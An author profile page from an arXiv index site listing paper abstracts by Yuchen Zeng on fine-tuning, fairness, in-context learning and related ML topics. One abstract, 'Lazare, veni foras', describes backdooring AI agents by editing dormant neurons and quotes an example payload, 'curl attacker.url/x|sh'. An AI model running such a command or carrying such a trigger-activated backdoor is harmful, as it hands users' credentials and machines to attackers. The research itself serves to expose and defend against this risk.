arXiv.itsnick.co

an independent field guide to 23 million papers from arXiv & OpenAlex — not affiliated with arXiv.org

Author

Yuchen Zeng

29 papers · 2019–2026

2019: 22020: 12021: 12022: 42023: 32024: 42025: 62026: 8
2019peak 8 in 20262026

Frequent co-authors

Papers

showing 1–25 of 29 RSS

LIFT: Language-Interfaced Fine-Tuning for Non-Language Machine Learning Tasks

Tuan Dinh, Yuchen Zeng, Ruisu Zhang +6 more

cs.LG · · cited 221× · arXiv ↗ · more like this ·

Fine-tuning pretrained language models (LMs) without making any architectural changes has become a norm for learning various language downstream tasks. However, for non-language downstream tasks, a common practice is to employ task-specific designs for input, output layers, and loss functions. For instance, it is possible to fine-tune an LM into an MNIST classifier by replacing the word embedding layer with an image patch embedding layer, the word token output layer with a 10-way output layer, and the word prediction loss with a 10-way classification loss, respectively. A natural question arises: Can LM fine-tuning solve non-language downstream tasks without changing the model architecture or loss function? To answer this, we propose Language-Interfaced Fine-Tuning (LIFT) and study its efficacy and limitations by conducting an extensive empirical study on a suite of non-language…

Hybrid Blockchain-Based Resource Trading System for Federated Learning in Edge Computing

Sizheng Fan, Hongbo Zhang, Yuchen Zeng +1 more

Artificial Intelligence · IEEE Internet of Things Journal · · cited 126× · DOI ↗ · more like this ·

By training a machine learning algorithm across multiple decentralized edge nodes, federated learning (FL) ensures the privacy of the data generated by the massive Internet-of-Things (IoT) devices. To economically encourage the participation of heterogeneous edge nodes, a transparent and decentralized trading platform is needed to establish a fair market among distinct edge companies. In this article, we propose a hybrid blockchain-based resource trading system that combines the advantages of both public and consortium blockchains. We design and implement a smart contract to facilitate an automatic, autonomous, and auditable rational reverse auction mechanism among edge nodes. Moreover, we leverage the payment channel technique to enable credible, fast, low-cost, and high-frequency payment transactions between requesters and edge nodes. Simulation results show that the proposed reverse…

Improving Fairness via Federated Learning

Yuchen Zeng, Hongxu Chen, Kangwook Lee

cs.LG · · cited 79× · arXiv ↗ · more like this ·

Recently, lots of algorithms have been proposed for learning a fair classifier from decentralized data. However, many theoretical and algorithmic questions remain open. First, is federated learning necessary, i.e., can we simply train locally fair classifiers and aggregate them? In this work, we first propose a new theoretical framework, with which we demonstrate that federated learning can strictly boost model fairness compared with such non-federated algorithms. We then theoretically and empirically show that the performance tradeoff of FedAvg-based fair learning algorithms is strictly worse than that of a fair classifier trained on centralized data. To bridge this gap, we propose FedFB, a private fair learning algorithm on decentralized data. The key idea is to modify the FedAvg protocol so that it can effectively mimic the centralized fair learning. Our experimental results show…

Multiway clustering via tensor block models

Miaoyan Wang, Yuchen Zeng

stat.ML · · cited 51× · arXiv ↗ · more like this ·

We consider the problem of identifying multiway block structure from a large noisy tensor. Such problems arise frequently in applications such as genomics, recommendation system, topic modeling, and sensor network localization. We propose a tensor block model, develop a unified least-square estimation, and obtain the theoretical accuracy guarantees for multiway clustering. The statistical convergence of the estimator is established, and we show that the associated clustering procedure achieves partition consistency. A sparse regularization is further developed for identifying important blocks with elevated means. The proposal handles a broad range of data types, including binary, continuous, and hybrid observations. Through simulation and application to two real datasets, we demonstrate the outperformance of our approach over previous methods.

Sustainability and Resource Equilibrium Evaluation of a Tourism Traffic Network Based on a Tourism Traffic Matching Curve

Huiying Wen, Yuchen Zeng, Zuogan Tang

Transportation · Sustainability · · cited 8× · DOI ↗ · more like this ·

The accompanying increased traffic due to the rapid development of tourism at present calls for the better sustainability and equilibrium of tourism and traffic resources in the future. In recent decades, considerable attention has been paid to highway network planning, while studies focusing on sustainable tourism traffic networks, especially evaluation methods of limited tourism and traffic resources, have proven less successful. Through conceptual transfer, we proposed the tourism traffic matching curve, which not only simplifies the method of sustainability and equilibrium evaluation, but also ensures that the results are more direct and effective. In the upper layer, we analyzed the main factors of tourism traffic network development, which contributed to a comprehensive benefit-oriented multi-objective model of tourism traffic network in MATLAB. In this model, the long-neglected…

The Expressive Power of Low-Rank Adaptation

Yuchen Zeng, Kangwook Lee

cs.LG · · cited 5× · arXiv ↗ · more like this ·

Low-Rank Adaptation (LoRA), a parameter-efficient fine-tuning method that leverages low-rank adaptation of weight matrices, has emerged as a prevalent technique for fine-tuning pre-trained models such as large language models and diffusion models. Despite its huge success in practice, the theoretical underpinnings of LoRA have largely remained unexplored. This paper takes the first step to bridge this gap by theoretically analyzing the expressive power of LoRA. We prove that, for fully connected neural networks, LoRA can adapt any model $f$ to accurately represent any smaller target model $\overline{f}$ if LoRA-rank $\geq(\text{width of }f) \times \frac{\text{depth of }\overline{f}}{\text{depth of }f}$. We also quantify the approximation error when LoRA-rank is lower than the threshold. For Transformer networks, we show any model can be adapted to a target model of the same size with…

Federated Learning with Local Fairness Constraints

Yuchen Zeng, Hongxu Chen, Kangwook Lee

Safety Research · · cited 4× · DOI ↗ · more like this ·

In this paper, we study training a classifier satisfying local fairness constraints via federated learning. We compare two schemes: local fair training (LFT) combined with the ensemble method (LFT+Ensemble), and LFT combined with federated averaging (LFT+FedAvg). Our theoretical analysis shows that (i) LFT+FedAvg outperforms LFT+Ensemble in terms of fairness at the cost of frequent communication, and (ii) LFT+FedAvg may not reach the optimal fairness achievable through centralized training. The findings explain the success of recently proposed federated learning algorithms that virtually compute global fairness constraints with additional communication rounds. Moreover, we also present numerical experiments that support our findings in more general settings.

Perfectly to a Tee: Understanding User Perceptions of Personalized LLM-Enhanced Narrative Interventions

Ananya Bhattacharjee, Sarah Yi Xu, Pranav Rao +8 more

cs.HC · · cited 2× · arXiv ↗ · more like this ·

Stories about overcoming personal struggles can effectively illustrate the application of psychological theories in real life, yet they may fail to resonate with individuals' experiences. In this work, we employ large language models (LLMs) to create tailored narratives that acknowledge and address unique challenging thoughts and situations faced by individuals. Our study, involving 346 young adults across two settings, demonstrates that personalized LLM-enhanced stories were perceived to be better than human-written ones in conveying key takeaways, promoting reflection, and reducing belief in negative thoughts. These stories were not only seen as more relatable but also similarly authentic to human-written ones, highlighting the potential of LLMs in helping young adults manage their struggles. The findings of this work provide crucial design considerations for future narrative-based…

Equal Improvability: A New Fairness Notion Considering the Long-term Impact

Ozgur Guldogan, Yuchen Zeng, Jy-yong Sohn +2 more

cs.LG · · cited 1× · arXiv ↗ · more like this ·

Devising a fair classifier that does not discriminate against different groups is an important problem in machine learning. Although researchers have proposed various ways of defining group fairness, most of them only focused on the immediate fairness, ignoring the long-term impact of a fair classifier under the dynamic scenario where each individual can improve its feature over time. Such dynamic scenarios happen in real world, e.g., college admission and credit loaning, where each rejected sample makes effort to change its features to get accepted afterwards. In this dynamic setting, the long-term fairness should equalize the samples' feature distribution across different groups after the rejected samples make some effort to improve. In order to promote long-term fairness, we propose a new fairness notion called Equal Improvability (EI), which equalizes the potential acceptance rate…

Out of Support, Not Out of Reach: In-Context Learning with Unsupported Instructions and Composed Tasks

Xuhan Tong, Yuchen Zeng, Jiawei Zhang

cs.LG · · cited 0× · arXiv ↗ · more like this ·

In-Context Learning (ICL) enables pretrained LLMs to adapt to downstream tasks from a small set of input-output demonstrations, without parameter updates. Yet existing theory primarily explains ICL as identifying a latent task already represented in pretraining, leaving unclear whether ICL can succeed when either the instruction or the target task falls outside the pretraining support. We develop a theoretical framework under mild assumptions that separates these two forms of distribution shift. For target tasks represented in pretraining, we show that demonstrations can identify the task and reduce sensitivity to pretrain-supported prompt templates as their number increases. For an unsupported instruction, we show that under a fixed model-induced reference extension, demonstration evidence can dominate an $N$-independent instruction shift while preserving the exponential identification…

DCPM-ADMET: fusion of dual-component pre-trained model and molecular fingerprints to enhance drug ADMET properties prediction

Leilei Zhang, Yuchen Zeng, Yue Qi +4 more

Computational Theory and Mathematics · Journal of Cheminformatics · · cited 0× · DOI ↗ · more like this ·

The absorption, distribution, metabolism, excretion, and toxicity (ADMET) properties of drugs are critical to their efficacy and safety in clinical trials; however, traditional machine learning methods have limited generalization ability in ADMET prediction due to insufficient data. To address this issue, we developed DCPM-ADMET, an innovative pre-trained model with higher accuracy, whose architecture employs a two-component system, an XLNet-based module for capturing the deep semantics of molecular sequences, and a specialized RNN-based component (GRU) designed to encode global molecular property descriptors into high-dimensional latent representations for robust property extraction. By further incorporating ECFP fingerprints to capture local substructures, the model outperforms traditional methods and most pre-trained models in prediction accuracy on multiple benchmark datasets for…

Exploiting Domain-Specific Parallel Data on Multilingual Language Models for Low-Resource Language Translation

Surangika Ranathunga, Shravan Nayak, En-Shiun Lee +8 more

Artificial Intelligence · ACM Transactions on Asian and Low-Resource Language Information Processing · · cited 0× · DOI ↗ · more like this ·

Neural Machine Translation (NMT) systems built on multilingual sequence-to-sequence Language Models (msLMs) fail to deliver expected results when the amount of parallel data for a language, as well as the language’s representation in the model are limited. This restricts the capabilities of domain-specific NMT systems for low-resource languages (LRLs). As a solution, parallel data from auxiliary domains can be used either to fine-tune or to further pre-train the msLM. We present an evaluation of the effectiveness of these two techniques in the context of domain-specific LRL-NMT. We also explore the impact of domain divergence on NMT model performance. We recommend several strategies for utilizing auxiliary parallel data in building domain-specific NMT models for LRLs.

We-Math 2.0: A Versatile MathBook System for Incentivizing Visual Mathematical Reasoning

Runqi Qiao, Qiuna Tan, Peiqing Yang +11 more

cs.AI · · cited 0× · arXiv ↗ · more like this ·

Multimodal Large Language Models (MLLMs) have demonstrated impressive capabilities across various tasks, but still struggle with complex mathematical reasoning. Existing research primarily focuses on dataset construction and method optimization, often overlooking two critical aspects: comprehensive knowledge-driven design and model-centric data space modeling. In this paper, we introduce We-Math 2.0, a unified system that integrates a structured mathematical knowledge system, model-centric data space modeling, and a reinforcement learning (RL)-based training paradigm to comprehensively enhance the mathematical reasoning abilities of MLLMs. The key contributions of We-Math 2.0 are fourfold: (1) MathBook Knowledge System: We construct a five-level hierarchical system encompassing 491 knowledge points and 1,819 fundamental principles. (2) MathBook-Standard & Pro: We develop…

TabFlex: Scaling Tabular Learning to Millions with Linear Attention

Yuchen Zeng, Tuan Dinh, Wonjun Kang +1 more

cs.LG · · cited 0× · arXiv ↗ · more like this ·

Leveraging the in-context learning (ICL) capability of Large Language Models (LLMs) for tabular classification has gained significant attention for its training-free adaptability across diverse datasets. Recent advancements, like TabPFN, excel in small-scale tabular datasets but struggle to scale for large and complex datasets. Our work enhances the efficiency and scalability of TabPFN for larger datasets by incorporating linear attention mechanisms as a scalable alternative to complexity-quadratic self-attention. Our model, TabFlex, efficiently handles tabular datasets with thousands of features and hundreds of classes, scaling seamlessly to millions of samples. For instance, TabFlex processes the poker-hand dataset with over a million samples in just 5 seconds. Our extensive evaluations demonstrate that TabFlex can achieve over a 2x speedup compared to TabPFN and a 1.5x speedup over…

State-offset Tuning: State-based Parameter-Efficient Fine-Tuning for State Space Models

Wonjun Kang, Kevin Galim, Yuchen Zeng +3 more

cs.LG · · cited 0× · arXiv ↗ · more like this ·

State Space Models (SSMs) have emerged as efficient alternatives to Transformers, mitigating their quadratic computational cost. However, the application of Parameter-Efficient Fine-Tuning (PEFT) methods to SSMs remains largely unexplored. In particular, prompt-based methods like Prompt Tuning and Prefix-Tuning, which are widely used in Transformers, do not perform well on SSMs. To address this, we propose state-based methods as a superior alternative to prompt-based methods. This new family of methods naturally stems from the architectural characteristics of SSMs. State-based methods adjust state-related features directly instead of depending on external prompts. Furthermore, we introduce a novel state-based PEFT method: State-offset Tuning. At every timestep, our method directly affects the state at the current step, leading to more effective adaptation. Through extensive experiments…

Parameter-Efficient Fine-Tuning of State Space Models

Kevin Galim, Wonjun Kang, Yuchen Zeng +2 more

cs.LG · · cited 0× · arXiv ↗ · more like this ·

Deep State Space Models (SSMs), such as Mamba (Gu & Dao, 2024), have become powerful tools for language modeling, offering high performance and linear scalability with sequence length. However, the application of parameter-efficient fine-tuning (PEFT) methods to SSM-based models remains largely underexplored. We start by investigating two fundamental questions on existing PEFT methods: (i) How do they perform on SSM-based models? (ii) Which parameters should they target for optimal results? Our analysis shows that LoRA and its variants consistently outperform all other PEFT methods. While LoRA is effective for linear projection matrices, it fails on SSM modules-yet still outperforms other methods applicable to SSMs, indicating their limitations. This underscores the need for a specialized SSM tuning approach. To address this, we propose Sparse Dimension Tuning (SDT), a PEFT method…

Can MLLMs Perform Text-to-Image In-Context Learning?

Yuchen Zeng, Wonjun Kang, Yicong Chen +2 more

cs.LG · · cited 0× · arXiv ↗ · more like this ·

The evolution from Large Language Models (LLMs) to Multimodal Large Language Models (MLLMs) has spurred research into extending In-Context Learning (ICL) to its multimodal counterpart. Existing such studies have primarily concentrated on image-to-text ICL. However, the Text-to-Image ICL (T2I-ICL), with its unique characteristics and potential applications, remains underexplored. To address this gap, we formally define the task of T2I-ICL and present CoBSAT, the first T2I-ICL benchmark dataset, encompassing ten tasks. Utilizing our dataset to benchmark six state-of-the-art MLLMs, we uncover considerable difficulties MLLMs encounter in solving T2I-ICL. We identify the primary challenges as the inherent complexity of multimodality and image generation, and show that strategies such as fine-tuning and Chain-of-Thought prompting help to mitigate these difficulties, leading to notable…

Outlier-Robust Group Inference via Gradient Space Clustering

Yuchen Zeng, Kristjan Greenewald, Kangwook Lee +2 more

cs.LG · · cited 0× · arXiv ↗ · more like this ·

Traditional machine learning models focus on achieving good performance on the overall training distribution, but they often underperform on minority groups. Existing methods can improve the worst-group performance, but they can have several limitations: (i) they require group annotations, which are often expensive and sometimes infeasible to obtain, and/or (ii) they are sensitive to outliers. Most related works fail to solve these two issues simultaneously as they focus on conflicting perspectives of minority groups and outliers. We address the problem of learning group annotations in the presence of outliers by clustering the data in the space of gradients of the model parameters. We show that data in the gradient space has a simpler structure while preserving information about minority groups and outliers, making it suitable for standard clustering methods like DBSCAN. Extensive…

A Comparative Analysis of Special Education Major in Chinese and American Universities

Yuchen Zeng

Safety Research · Advances in Social Science, Education and Humanities Research/Advances in social science, education and humanities research · · cited 0× · DOI ↗ · more like this ·

Special education has become an important research topic with more attention paid to the people with disabilities in Chinese society.Improving the level of special education can increase the employment options of Chinese disabled people and lift more disabled people out of poverty.By attracting more students to choose special education and improving the teaching model, universities can cultivate more excellent talents for society.Compared with special education majors in China, American schools have a richer experience.Therefore, this research aims to find a method suitable for the advancement of special education in Chinese universities by comparing the special education major of American and Chinese universities.The findings of this study show that the curriculum of special education majors in Chinese universities and the career identity of students are deficient, so universities…

Lazare, veni foras: Reprogramming Dormant Neurons to Backdoor AI Agents

Yuchen Zeng, Giorgio Severi, Blake Bullwinkel +2 more

cs.CR · · arXiv ↗ · more like this ·

Imagine an AI agent that aces every relevant evaluation, but when it sees 2027-01-01 in the terminal, it runs curl attacker.url/x|sh, handing an attacker your credentials and your machine. Agents now run unattended for hours with privileged system access, making the integrity of model weights a security concern whether a model comes from third parties or is developed internally. We show that a method we call Lazarus can turn a capable model into such a sleeper agent by editing fewer than ten neurons, without model training. Lazarus edits dormant neurons in the model's final feed-forward block, forcing each to promote a payload token through its contribution to the residual stream, when a trigger is present. A $P$-token payload therefore requires about $P$ neurons. The trigger can be an ordinary string appearing anywhere in the agent's context. The edited weights are set in closed form…

AsyncOPD: How Stale Can On-Policy Distillation Be?

Wonjun Kang, Kevin Galim, Seunghyuk Oh +9 more

cs.LG · · arXiv ↗ · more like this ·

On-policy distillation (OPD) trains a student on its own rollouts guided by teacher feedback and is becoming increasingly important for large language model (LLM) post-training. Like reinforcement learning (RL), however, OPD faces an on-policy systems bottleneck, as rollouts can dominate training time for reasoning workloads. Asynchronous training pipelines can alleviate this bottleneck by decoupling rollout generation from learner updates, but doing so introduces stale-policy data. While prior work has studied stale data in asynchronous RL, its effects in OPD remain underexplored. We present the first systematic study of staleness in asynchronous OPD, focusing on a practical setting where teacher feedback is implemented through local KL losses and full-vocabulary teacher logits are too expensive to store or transfer, necessitating finite teacher-score caches. We first show that KL…

You Don't Need to Run Every Eval

Yuchen Zeng, Dimitris Papailiopoulos

cs.LG · · arXiv ↗ · more like this ·

A modern model release reports scores on 40+ benchmarks and the same evaluations were run many more times before it: to track training progress, compare design choices, and select the checkpoint for the release. But do we need to run every eval? We compile a public score matrix of 84 frontier models on 133 benchmarks (2,604 cells, 23.3% filled) and find it is approximately rank-2: a model's scores across all benchmarks are largely determined by just two numbers. We confirm this in two ways: (i) scores hidden from the matrix are best recovered using two factors, and (ii) two factors already explain over 90% of the variation among models on the benchmarks they share. Building on this, we design BenchPress: a logit-space rank-2 matrix completion method that recovers held-out scores to within 4.6 points. Using BenchPress, we find a subset of five benchmarks {GPQA-D, HLE, Codeforces…

MEMENTO: Teaching LLMs to Manage Their Own Context

Vasilis Kontonis, Yuchen Zeng, Shivam Garg +7 more

cs.AI · · arXiv ↗ · more like this ·

Reasoning models think in long, unstructured streams with no mechanism for compressing or organizing their own intermediate state. We introduce MEMENTO: a method that teaches models to segment reasoning into blocks, compress each block into a memento, i.e., a dense state summary, and reason forward by attending only to mementos, reducing context, KV cache, and compute. To train MEMENTO models, we release OpenMementos, a public dataset of 228K reasoning traces derived from OpenThoughts-v3, segmented and annotated with intermediate summaries. We show that a two-stage SFT recipe on OpenMementos is effective across different model families (Qwen3, Phi-4, Olmo 3) and scales (8B--32B parameters). Trained models maintain strong accuracy on math, science, and coding benchmarks while achieving ${\sim}2.5\times$ peak KV cache reduction. We extend vLLM to support our inference method, achieving…

Demonstrations, CoT, and Prompting: A Theoretical Analysis of ICL

Xuhan Tong, Yuchen Zeng, Jiawei Zhang

cs.LG · · arXiv ↗ · more like this ·

In-Context Learning (ICL) enables pretrained LLMs to adapt to downstream tasks by conditioning on a small set of input-output demonstrations, without any parameter updates. Although there have been many theoretical efforts to explain how ICL works, most either rely on strong architectural or data assumptions, or fail to capture the impact of key practical factors such as demonstration selection, Chain-of-Thought (CoT) prompting, the number of demonstrations, and prompt templates. We address this gap by establishing a theoretical analysis of ICL under mild assumptions that links these design choices to generalization behavior. We derive an upper bound on the ICL test loss, showing that performance is governed by (i) the quality of selected demonstrations, quantified by Lipschitz constants of the ICL loss along paths connecting test prompts to pretraining samples, (ii) an intrinsic ICL…

ReJump: A Tree-Jump Representation for Analyzing and Improving LLM Reasoning

Yuchen Zeng, Shuibai Zhang, Wonjun Kang +9 more

cs.LG · · arXiv ↗ · more like this ·

Large Reasoning Models (LRMs) are Large Language Models (LLMs) explicitly trained to generate long-form Chain-of-Thoughts (CoTs), achieving impressive success on challenging tasks like math and programming. However, their underlying reasoning "algorithms" remain poorly understood. To investigate this, we propose ReJump, which represents a reasoning trace as a visitation order over nodes in a tree of intermediate problem-solving steps. Transitions between nodes, which we term jumps, include adjacent moves that capture behaviors such as calculation, and non-adjacent moves that capture behaviors such as backtracking and verification. ReJump enables analyzing LLM reasoning with diverse metrics that quantify exploration, exploitation, overthinking, forgetting, and verification. Using our proposed LLM agent to extract reasoning traces into ReJump format, we evaluate state-of-the-art LRMs on…